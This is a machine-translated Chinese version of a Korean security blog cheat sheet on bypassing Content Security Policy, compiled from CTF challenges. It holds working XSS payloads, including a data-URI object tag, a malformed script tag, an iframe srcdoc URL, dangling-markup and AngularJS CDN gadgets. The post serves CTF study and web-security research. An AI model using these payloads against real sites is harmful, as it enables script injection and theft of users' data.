Arang.dev
搜索

CSP 绕过技术

绕过内容安全策略(Content Security Policy)的各种技术总结

#web-security#csp#bypass#xss
🌐 已翻译

本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。

阅读原文(韩语)

在做 Codegate 2020 的 CSP 题目时,觉得有必要整理一下相关的绕过技术,所以简单整理发布于此。

如果有新发现的信息,我会进行更新~~


CTFZone 2019

- Script nonce : 缓存投毒 (cache poisoning)

  • 利用 /index.php/ 等路径进行缓存投毒,从而固定 CSP script nonce

Codegate 2020

- Script nonce : Header Injection - Status Code 102

  • 利用状态码为 102 时 CSP 不生效的特性

  • header("HTTP/: 102");

--

*** Script nonce : 利用 CSS 注入的正则表达式可以访问属性的特性,逐字搜索并获取 script nonce**

https://lbherrera.me/solver.html

http://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

*** chromium 74 dev**

- 利用 import maps 绕过 CSP

https://bugs.chromium.org/p/chromium/issues/detail?id=941340

https://test.shhnjk.com/imap.php

*** chromium 78**

https://test.shhnjk.com/unxssable.php?xss=%3Ciframe%20srcdoc=%22%3Cscript%3Ealert(origin);window.stop()%3C/script%3E%3Cmeta%20http-equiv=refresh%20content=%270;url=https://shhnjk.azurewebsites.net/csp_srcdoc.html%27%3E%22%3E%3C/iframe%3E

@shhnjk

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

@akita_zen

<script ?/src="data:+,alert%281%29"></script>

@404death

*** 当需要在同一或受信任域名下,利用可执行脚本的页面在不可执行的页面上运行脚本时**

  • Same or Trusted domain ( script-src 'self' // script-src 'a.com' )

  • script-src 'self' unsafe-inline

  • 可通过嵌入 nginx 400 错误页、favicon.ico / robots.txt 等 404 页面来插入脚本

image

  • 也可利用 Request URI Too Big 错误

  • 也可利用 Cookie max size 错误

https://www.slideshare.net/ssusera0a306/volgactf-2018-neatly-bypassing-csp

*** 类似于点击劫持 (Click Jacking),利用悬挂标记 (dangling markup) 进行 CSP 绕过(与其说是绕过,不如说是窃取 DOM 代码中的敏感信息)**

http://portswigger-labs.net/dangling_markup/?x=%3Ca%20href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html%3E%3Cfont%20size=100%20color=red%3EYou%20must%20click%20me%3C/font%3E%3C/a%3E%3Cbase%20target=%22blah

*** 利用 Angular JS 等前端框架的 CDN 进行 CSP 绕过**

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26 ..

ng-app"ng-csp ng-click=$event.view.alert(1337)><script src =//ajax.googleapis.com/ajax ...

etc...

评论

正在加载评论...
CSP 绕过技术 | Arang